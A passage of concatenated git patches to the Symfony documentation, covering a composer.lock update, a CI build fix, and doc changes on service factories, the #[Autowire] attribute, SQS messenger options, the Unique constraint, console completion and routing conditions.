-                "url": "https://api.github.com/repos/symfony/string/zipball/d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
-                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
+                "url": "https://api.github.com/repos/symfony/string/zipball/3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8",
+                "reference": "3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8",
                 "shasum": ""
             },
             "require": {
@@ -1644,20 +1660,23 @@
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php80": "~1.15"
             },
+            "conflict": {
+                "symfony/translation-contracts": ">=3.0"
+            },
             "require-dev": {
-                "symfony/error-handler": "^4.4|^5.0",
-                "symfony/http-client": "^4.4|^5.0",
+                "symfony/error-handler": "^4.4|^5.0|^6.0",
+                "symfony/http-client": "^4.4|^5.0|^6.0",
                 "symfony/translation-contracts": "^1.1|^2",
-                "symfony/var-exporter": "^4.4|^5.0"
+                "symfony/var-exporter": "^4.4|^5.0|^6.0"
             },
             "type": "library",
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Component\\String\\": ""
-                },
                 "files": [
                     "Resources/functions.php"
                 ],
+                "psr-4": {
+                    "Symfony\\Component\\String\\": ""
+                },
                 "exclude-from-classmap": [
                     "/Tests/"
                 ]
@@ -1687,7 +1706,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v5.3.10"
+                "source": "https://github.com/symfony/string/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -1703,20 +1722,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-10-27T18:21:46+00:00"
+            "time": "2022-04-19T10:40:37+00:00"
         },
         {
             "name": "symfony/translation-contracts",
-            "version": "v2.4.0",
+            "version": "v2.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/translation-contracts.git",
-                "reference": "95c812666f3e91db75385749fe219c5e494c7f95"
+                "reference": "1211df0afa701e45a04253110e959d4af4ef0f07"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/95c812666f3e91db75385749fe219c5e494c7f95",
-                "reference": "95c812666f3e91db75385749fe219c5e494c7f95",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/1211df0afa701e45a04253110e959d4af4ef0f07",
+                "reference": "1211df0afa701e45a04253110e959d4af4ef0f07",
                 "shasum": ""
             },
             "require": {
@@ -1728,7 +1747,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.4-dev"
+                    "dev-main": "2.5-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1765,7 +1784,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/translation-contracts/tree/v2.4.0"
+                "source": "https://github.com/symfony/translation-contracts/tree/v2.5.1"
             },
             "funding": [
                 {
@@ -1781,20 +1800,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-23T23:28:01+00:00"
+            "time": "2022-01-02T09:53:40+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v3.3.3",
+            "version": "v3.3.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569"
+                "reference": "8442df056c51b706793adf80a9fd363406dd3674"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a27fa056df8a6384316288ca8b0fa3a35fdeb569",
-                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/8442df056c51b706793adf80a9fd363406dd3674",
+                "reference": "8442df056c51b706793adf80a9fd363406dd3674",
                 "shasum": ""
             },
             "require": {
@@ -1845,7 +1864,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.3.3"
+                "source": "https://github.com/twigphp/Twig/tree/v3.3.10"
             },
             "funding": [
                 {
@@ -1857,7 +1876,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-09-17T08:44:23+00:00"
+            "time": "2022-04-06T06:47:41+00:00"
         }
     ],
     "packages-dev": [],
@@ -1873,5 +1892,5 @@
     "platform-overrides": {
         "php": "7.4.14"
     },
-    "plugin-api-version": "2.1.0"
+    "plugin-api-version": "2.2.0"
 }

From 29333b8d9a89a5a7dfc0e76ecf94a88381e492aa Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 03:51:31 +0200
Subject: [PATCH 3199/7107] Fail the build when needed

---
 .github/workflows/ci.yaml | 6 +-----
 _build/build.php          | 4 ++++
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6750bd8eb20..87ccb0b1d75 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -45,11 +45,7 @@ jobs:
 
             -   name: "Build the docs"
                 working-directory: _build
-                run: php build.php -vvv
-
-            -   name: Show log file
-                if: ${{ always() }}
-                run: cat _build/logs.txt || true
+                run: php build.php --disable-cache
 
     doctor-rst:
         name: Lint (DOCtor-RST)
diff --git a/_build/build.php b/_build/build.php
index 3c64f4d6b85..66470a0df59 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -57,7 +57,11 @@
             $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace()));
             $io->newLine();
             $io->comment('Tip: you can add the -v, -vv or -vvv flags to this command to get debug information.');
+
+            return 1;
         }
+
+        return 0;
     })
     ->getApplication()
     ->setDefaultCommand('build-docs', true)

From bf55fc5d44b63a602887b379a67e6e370124d204 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 03:55:59 +0200
Subject: [PATCH 3200/7107] Remove not-supported contents directive

---
 testing.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/testing.rst b/testing.rst
index 031f8d17948..2ebaf352a15 100644
--- a/testing.rst
+++ b/testing.rst
@@ -523,10 +523,6 @@ The full signature of the ``request()`` method is::
 
 This allows you to create all types of requests you can think of:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. tip::
 
     The test client is available as the ``test.client`` service in the
@@ -671,10 +667,6 @@ Interacting with the Response
 Like a real browser, the Client and Crawler objects can be used to interact
 with the page you're served:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. _testing-links:
 
 Clicking on Links
@@ -815,10 +807,6 @@ check anything you want.
 
 However, Symfony provides useful shortcut methods for the most common cases:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. versionadded:: 4.3
 
     The shortcut methods for assertions using ``WebTestCase`` were introduced

From e875eff0ca70cb6de5aad863fb184bf6555fcc7f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 04:04:12 +0200
Subject: [PATCH 3201/7107] Fix build errors

---
 form/form_collections.rst   | 2 +-
 form/form_customization.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 8b34dc700aa..ca7dd6228f7 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -657,7 +657,7 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     The Symfony community has created some JavaScript packages that provide the
     functionality needed to add, edit and delete elements of the collection.
     Check out the `@a2lix/symfony-collection`_ package for modern browsers and
-    the `symfony-collection`_ package based on `jQuery`_ for the rest of browsers.
+    the `symfony-collection`_ package based on jQuery for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
 .. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 7c1fc159404..738ac6a947e 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -270,7 +270,7 @@ Renders any errors for the given field.
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included in
     ``form_label()``. Read more about this in the
-    :ref:`Bootstrap 4 theme documentation <reference-forms-bootstrap5-error-messages>`.
+    :ref:`Bootstrap 4 theme documentation <reference-forms-bootstrap4-error-messages>`.
 
 .. _reference-forms-twig-widget:
 

From 154d6676863702c09c3d2c92bcd4a03aa58f4d93 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 1 May 2022 13:42:14 +0200
Subject: [PATCH 3202/7107] [#16516] Move section to
 service_container/factories

---
 service_container/expression_language.rst | 52 +---------------
 service_container/factories.rst           | 76 +++++++++++++++++++++++
 2 files changed, 79 insertions(+), 49 deletions(-)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 89eb49f9453..5c42f64471a 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -130,55 +130,9 @@ via a ``container`` variable. Here's another example:
         };
 
 Expressions can be used in ``arguments``, ``properties``, as arguments with
-``configurator`` and as arguments to ``calls`` (method calls).
-
-You can also use expressions as service factories:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            App\Mailer:
-                factory: "@=parameter('some_param') ? service('some_service') : arg(0)"
-                arguments:
-                    - '@some_other_service'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\Mailer">
-                    <factory expression="parameter('some_param') ? service('some_service') : arg(0)"/>
-                    <argument type="service" id="some_other_service"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Mailer;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set(Mailer::class)
-                ->factory(expr("parameter('some_param') ? service('some_service') : arg(0)"))
-                ->args([service('some_other_service')]);
-        };
-
-In this context, you have access to the ``arg`` function that allows getting the value of arguments passed to the factory.
+``configurator``, as arguments to ``calls`` (method calls) and in
+``factories`` (:doc:`service factories </service_container/factories>`).
 
 .. versionadded:: 6.1
 
-    Using expressions as factories was introduced in Symfony 6.1.
+    Using expressions in ``factories`` was introduced in Symfony 6.1.
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 54775793a52..89c66b039ff 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -239,6 +239,82 @@ method name:
                 ->factory(service(InvokableNewsletterManagerFactory::class));
         };
 
+Using Expressions in Email Factories
+--------------------------------------
+
+.. versionadded:: 6.1
+
+    Using expressions as factories was introduced in Symfony 6.1.
+
+Instead of using PHP classes as a factory, you can also use
+:doc:`expressions </service_container/expressions>`. This allows you to
+e.g. change the service based on a parameter:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Email\NewsletterManagerInterface:
+                # use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise.
+                # "@=" indicates that this is an expression
+                factory: '@=parameter("kernel.debug") ? service("tracable_newsletter") : service("newsletter")'
+
+            # you can use the arg() function to retrieve an argument from the definition
+            App\Email\NewsletterManagerInterface:
+                factory: "@=arg(0).createNewsletterManager() ?: service("default_newsletter_manager")"
+                arguments:
+                    - '@App\Email\NewsletterManagerFactory'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Email\NewsletterManagerInterface">
+                    <!-- use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise -->
+                    <factory expression="parameter('kernel.debug') ? service('tracable_newsletter') : service('newsletter')"/>
+                </service>
+
+                <!-- you can use the arg() function to retrieve an argument from the definition -->
+                <service id="App\Email\NewsletterManagerInterface">
+                    <factory expression="arg(0).createNewsletterManager() ?: service("default_newsletter_manager")"/>
+                    <argument type="service" id="App\Email\NewsletterManagerFactory"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Email\NewsletterManagerInterface;
+        use App\Email\NewsletterManagerFactory;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(NewsletterManagerInterface::class)
+                // use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise.
+                ->factory(expr("parameter('kernel.debug') ? service('tracable_newsletter') : service('newsletter')"))
+            ;
+
+            // you can use the arg() function to retrieve an argument from the definition
+            $services->set(NewsletterManagerInterface::class)
+                ->factory(expr("arg(0).createNewsletterManager() ?: service('default_newsletter_manager')"))
+                ->args([
+                    service(NewsletterManagerFactory::class),
+                ])
+            ;
+        };
+
 .. _factories-passing-arguments-factory-method:
 
 Passing Arguments to the Factory Method

From 493e9b76d1db60675e4047f3ba0143fcbc7b08fc Mon Sep 17 00:00:00 2001
From: Filippos Karailanidis <phil.230@gmail.com>
Date: Tue, 18 Jan 2022 21:36:18 +0200
Subject: [PATCH 3203/7107] Add session_token option

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 3d4d8645458..d64630a3874 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1563,11 +1563,16 @@ The transport has a number of options:
 ``queue_name``          Name of the queue                       messages
 ``region``              Name of the AWS region                  eu-west-1
 ``secret_key``          AWS secret key                          must be urlencoded
+``session_token``       AWS session token
 ``visibility_timeout``  Amount of seconds the message will      Queue's configuration
                         not be visible (`Visibility Timeout`_)
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
+.. versionadded:: 6.1
+
+    The ``session_token`` option was introduced in Symfony 6.1.
+
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should

From bf8be7e848041b82db92dc083f6216b1d98bdea6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 1 May 2022 16:53:31 +0200
Subject: [PATCH 3204/7107] Move the autowire attribute sections

---
 controller.rst                   | 125 ++++++++-----------------------
 service_container.rst            |  50 -------------
 service_container/autowiring.rst |  56 +++++++++++++-
 3 files changed, 86 insertions(+), 145 deletions(-)

diff --git a/controller.rst b/controller.rst
index c1510ba6896..a0bb1d3ffb5 100644
--- a/controller.rst
+++ b/controller.rst
@@ -223,107 +223,46 @@ command:
 
     $ php bin/console debug:autowiring
 
-If you need control over the *exact* value of an argument, you can :ref:`bind <services-binding>`
-the argument by its name:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # explicitly configure the service
-            App\Controller\LuckyController:
-                tags: [controller.service_arguments]
-                bind:
-                    # for any $logger argument, pass this specific service
-                    $logger: '@monolog.logger.doctrine'
-                    # for any $projectDir argument, pass this parameter value
-                    $projectDir: '%kernel.project_dir%'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <!-- Explicitly configure the service -->
-                <service id="App\Controller\LuckyController">
-                    <tag name="controller.service_arguments"/>
-                    <bind key="$logger"
-                        type="service"
-                        id="monolog.logger.doctrine"
-                    />
-                    <bind key="$projectDir">%kernel.project_dir%</bind>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Controller\LuckyController;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        $container->register(LuckyController::class)
-            ->addTag('controller.service_arguments')
-            ->setBindings([
-                '$logger' => new Reference('monolog.logger.doctrine'),
-                '$projectDir' => '%kernel.project_dir%',
-            ])
-        ;
-
-Like with all services, you can also use regular :ref:`constructor injection <services-constructor-injection>`
-in your controllers.
-
-For more information about services, see the :doc:`/service_container` article.
-
-Autowire Parameter Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 6.1
+.. tip::
 
-    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
+    If you need control over the *exact* value of an argument, you can use the
+    ``#[Autowire]`` attribute::
 
-Services that cannot be autowired, :ref:`parameters <service-parameters>` and even
-:doc:`complex expressions </service_container/expression_language>` can be bound
-to a controller argument with the ``#[Autowire]`` attribute::
+        // ...
+        use Psr\Log\LoggerInterface;
+        use Symfony\Component\DependencyInjection\Attribute\Autowire;
+        use Symfony\Component\HttpFoundation\Response;
 
-    use Psr\Log\LoggerInterface;
-    use Symfony\Component\DependencyInjection\Attribute\Autowire;
-    use Symfony\Component\HttpFoundation\Response;
-    // ...
+        class LuckyController extends AbstractController
+        {
+            public function number(
+                int $max,
+
+                // inject a specific logger service
+                #[Autowire('@monolog.logger.request')]
+                LoggerInterface $logger,
+
+                // or inject parameter values
+                #[Autowire('%kernel.project_dir%')]
+                string $projectDir
+            ): Response
+            {
+                $logger->info('We are logging!');
+                // ...
+            }
+        }
 
-    /**
-     * @Route("/lucky/number/{max}")
-     */
-    public function number(
-        int $max,
+    You can read more about this attribute in :ref:`autowire-attribute`.
 
-        #[Autowire('@monolog.logger.request')]
-        LoggerInterface $logger,
+    .. versionadded:: 6.1
 
-        #[Autowire('%kernel.project_dir%/data')]
-        string $dataDir,
+        The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
 
-        #[Autowire('%kernel.debug%')]
-        bool $debugMode,
+Like with all services, you can also use regular
+:ref:`constructor injection <services-constructor-injection>` in your
+controllers.
 
-        #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
-        string $mailerMethod,
-    ): Response
-    {
-        $logger->info('We are logging!');
-        // ...
-    }
+For more information about services, see the :doc:`/service_container` article.
 
 Generating Controllers
 ----------------------
diff --git a/service_container.rst b/service_container.rst
index 4e613c90708..6b6015a02e8 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -687,56 +687,6 @@ For a full list of *all* possible services in the container, run:
 
 .. _services-binding:
 
-Autowire Parameter Attribute
-----------------------------
-
-.. versionadded:: 6.1
-
-    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
-
-For services that cannot be autowired, you can use the ``#[Autowire]`` parameter
-attribute to explicitly configure the service::
-
-    // src/Service/MessageGenerator.php
-    namespace App\Service;
-
-    use Psr\Log\LoggerInterface;
-    use Symfony\Component\DependencyInjection\Attribute\Autowire;
-
-    class MessageGenerator
-    {
-        public function __construct(
-            #[Autowire('@monolog.logger.request')] private LoggerInterface $logger
-        ) {
-        }
-        // ...
-    }
-
-The ``#[Autowire]`` can also be used for :ref:`parameters <service-parameters>` and even
-:doc:`complex expressions </service_container/expression_language>`::
-
-    // src/Service/MessageGenerator.php
-    namespace App\Service;
-
-    use Psr\Log\LoggerInterface;
-    use Symfony\Component\DependencyInjection\Attribute\Autowire;
-
-    class MessageGenerator
-    {
-        public function __construct(
-            #[Autowire('%kernel.project_dir%/data')]
-            private string $dataDir,
-
-            #[Autowire('%kernel.debug%')]
-            private bool $debugMode,
-
-            #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
-            private string $mailerMethod,
-        ) {
-        }
-        // ...
-    }
-
 Binding Arguments by Name or Type
 ---------------------------------
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7aa968a22e4..b5387415614 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -532,6 +532,8 @@ If the argument is named ``$shoutyTransformer``,
 But, you can also manually wire any *other* service by specifying the argument
 under the arguments key.
 
+.. _autowire-attribute:
+
 Fixing Non-Autowireable Arguments
 ---------------------------------
 
@@ -539,8 +541,58 @@ Autowiring only works when your argument is an *object*. But if you have a scala
 argument (e.g. a string), this cannot be autowired: Symfony will throw a clear
 exception.
 
-To fix this, you can :ref:`manually wire the problematic argument <services-manually-wire-args>`.
-You wire up the difficult arguments, Symfony takes care of the rest.
+To fix this, you can :ref:`manually wire the problematic argument <services-manually-wire-args>`
+in the service configuration. You wire up only the difficult arguments,
+Symfony takes care of the rest.
+
+You can also use the ``#[Autowire]`` parameter attribute to configure the
+problematic arguments:
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[Autowire('@monolog.logger.request')] LoggerInterface $logger
+        ) {
+            // ...
+        }
+    }
+
+.. versionadded:: 6.1
+
+    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
+
+The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`
+and even :doc:`complex expressions </service_container/expression_language>`::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            // use the %...% syntax for parameters
+            #[Autowire('%kernel.project_dir%/data')]
+            string $dataDir,
+
+            #[Autowire('%kernel.debug%')]
+            bool $debugMode,
+
+            // and @=... for expressions
+            #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+            string $mailerMethod
+        ) {
+        }
+        // ...
+    }
 
 .. _autowiring-calls:
 

From dcbad67eb1cf3cf4ce5d97b8ecaef29b1e2f8f70 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 1 May 2022 17:55:26 +0200
Subject: [PATCH 3205/7107] Added basic example

---
 reference/constraints/Unique.rst | 86 ++++++++++++++++++++++++++++++--
 1 file changed, 83 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index ad6e148254d..4e24a5f8b3b 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -113,9 +113,89 @@ Options
 
     The ``fields`` option was introduced in Symfony 6.1.
 
-This is optional and defines key or keys
-in a collection that should be checked for uniqueness.
-By default, all collection keys are checked for uniqueness.
+This is defines the key or keys in a collection that should be checked for
+uniqueness. By default, all collection keys are checked for uniqueness.
+
+For instance, assume you have a collection of items that contain a
+``latitude``, ``longitude`` and ``label`` fields. By default, you can have
+duplicate coordinates as long as the label is different. By setting the
+``fields`` option, you can force latitude+longitude to be unique in the
+collection::
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Poi.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Poi
+        {
+            /**
+             * @Assert\Unique(fields={"latitude", "longitude"})
+             */
+            protected $coordinates;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Poi.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Poi
+        {
+            #[Assert\Unique(fields=['latitude', 'longitude'])]
+            protected $coordinates;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Poi:
+            properties:
+                contactEmails:
+                    - Unique:
+                          fields: [latitude, longitude]
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Poi">
+                <property name="coordinates">
+                    <constraint name="Unique">
+                        <field>latitude</field>
+                        <field>longitude</field>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Poi.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Poi
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('contactEmails', new Assert\Unique([
+                    'fields' => ['latitude', 'longitude'],
+                ]));
+            }
+        }
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 

From 18786941f312ab811748e4177baf9c770083e4b3 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 16 Apr 2022 17:09:48 +0200
Subject: [PATCH 3206/7107] Document input definition completion and Fish
 support

---
 console.rst       |  4 ++++
 console/input.rst | 47 +++++++++++++++++++++++++++++------------------
 page_creation.rst |  2 +-
 3 files changed, 34 insertions(+), 19 deletions(-)

diff --git a/console.rst b/console.rst
index 6969bd75e1a..20476e88206 100644
--- a/console.rst
+++ b/console.rst
@@ -59,6 +59,10 @@ command, for instance:
 Console Completion
 ~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.1
+
+    Console completion for Fish was introduced in Symfony 6.1.
+
 If you are using the Bash shell, you can install Symfony's completion
 script to get auto completion when typing commands in the terminal. All
 commands support name and option completion, and some can even complete
diff --git a/console/input.rst b/console/input.rst
index 36718199e6f..2182be5409c 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -313,7 +313,7 @@ can also implement value completion for the input in your commands. For
 instance, you may want to complete all usernames from the database in the
 ``name`` argument of your greet command.
 
-To achieve this, override the ``complete()`` method in the command::
+To achieve this, use the 5th argument of ``addArgument()``/``addOption``::
 
     // ...
     use Symfony\Component\Console\Completion\CompletionInput;
@@ -322,32 +322,43 @@ To achieve this, override the ``complete()`` method in the command::
     class GreetCommand extends Command
     {
         // ...
-
-        public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void
+        protected function configure(): void
         {
-            if ($input->mustSuggestArgumentValuesFor('names')) {
-                // the user asks for completion input for the "names" option
-
-                // the value the user already typed, e.g. when typing "app:greet Fa" before
-                // pressing Tab, this will contain "Fa"
-                $currentValue = $input->getCompletionValue();
-
-                // get the list of username names from somewhere (e.g. the database)
-                // you may use $currentValue to filter down the names
-                $availableUsernames = ...;
-
-                // then add the retrieved names as suggested values
-                $suggestions->suggestValues($availableUsernames);
-            }
+            $this
+                ->addArgument(
+                    'names',
+                    InputArgument::IS_ARRAY,
+                    'Who do you want to greet (separate multiple names with a space)?',
+                    null,
+                    function (CompletionInput $input) {
+                        // the value the user already typed, e.g. when typing "app:greet Fa" before
+                        // pressing Tab, this will contain "Fa"
+                        $currentValue = $input->getCompletionValue();
+
+                        // get the list of username names from somewhere (e.g. the database)
+                        // you may use $currentValue to filter down the names
+                        $availableUsernames = ...;
+
+                        // then suggested the usernames as values
+                        return $availableUsernames;
+                    }
+                )
+            ;
         }
     }
 
+.. versionadded:: 6.1
+
+    The argument to ``addOption()``/``addArgument()`` was introduced in
+    Symfony 6.1. Prior to this version, you had to override the
+    ``complete()`` method of the command.
+
 That's all you need! Assuming users "Fabien" and "Fabrice" exist, pressing
 tab after typing ``app:greet Fa`` will give you these names as a suggestion.
 
 .. tip::
 
-    The bash shell is able to handle huge amounts of suggestions and will
+    The shell script is able to handle huge amounts of suggestions and will
     automatically filter the suggested values based on the existing input
     from the user. You do not have to implement any filter logic in the
     command.
diff --git a/page_creation.rst b/page_creation.rst
index af315b188c4..b9d6b6e43b5 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -197,7 +197,7 @@ You'll learn about many more commands as you continue!
 
 .. tip::
 
-    If you are using the Bash shell, you can set up completion support.
+    If you are using the Bash or Fish shell, you can set up completion support.
     This autocompletes commands and other input when using ``bin/console``.
     See :ref:`the Console document <console-completion-setup>` for more
     information on how to set up completion.

From b4efe17d6f1acc8fd6071003e823d966696d8551 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 23 Apr 2022 08:40:12 +0200
Subject: [PATCH 3207/7107] [Routing] Add params variable to condition
 expression

---
 routing.rst | 60 ++++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 55 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index a4028c4dc96..7aa8c3d30ce 100644
--- a/routing.rst
+++ b/routing.rst
@@ -323,12 +323,25 @@ arbitrary matching logic:
              * )
              *
              * expressions can also include configuration parameters:
-             * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
+             * condition="request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
              */
             public function contact(): Response
             {
                 // ...
             }
+
+            /**
+             * expressions can retrieve route parameter values using the "params" variable
+             * @Route(
+             *     "/posts/{id}",
+             *     name="post_show",
+             *     condition="params['id'] < 1000"
+             * )
+             */
+            public function showPost(int $id): Response
+            {
+                // ... return a JSON response with the post
+            }
         }
 
     .. code-block:: php-attributes
@@ -346,13 +359,24 @@ arbitrary matching logic:
                 '/contact',
                 name: 'contact',
                 condition: "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'",
+                // expressions can also include config parameters:
+                // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
             )]
-            // expressions can also include config parameters:
